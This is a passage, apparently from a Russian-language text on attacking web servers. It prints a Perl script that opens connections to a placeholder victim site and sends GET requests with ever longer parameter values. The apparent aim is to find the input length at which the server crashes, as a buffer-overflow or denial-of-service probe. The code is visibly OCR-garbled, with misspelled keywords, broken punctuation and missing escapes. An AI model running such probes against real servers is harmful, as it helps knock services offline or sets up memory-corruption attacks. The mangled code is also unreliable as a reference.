примеру, такой программы: #! /usr/bin/peri -w use Socket; $proto = getprotobynameCtcp' ); Sport = 80; $host =
"www.victim.corn"; $sin=sockaddr_in($port,inet_aton($host)): for ($i= 8000; $i<9000;$i++) {
print "nTrying $i symbols: n"; $value = 'z'x$i;
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
if(!connect(Socket_Handle,$sin)) {
$n=$i+4;
print "nnLooks like we got it: $n symbols"; exit; }
send Socket_Handle,"GET/path?nan]e=$value HTTP/I .0n" ,0: send Socket_Handle,
"User-Agent: myagentn",0: sendSocket_Handle,"n",0; while (<Socket_Handle> {
print $_; } }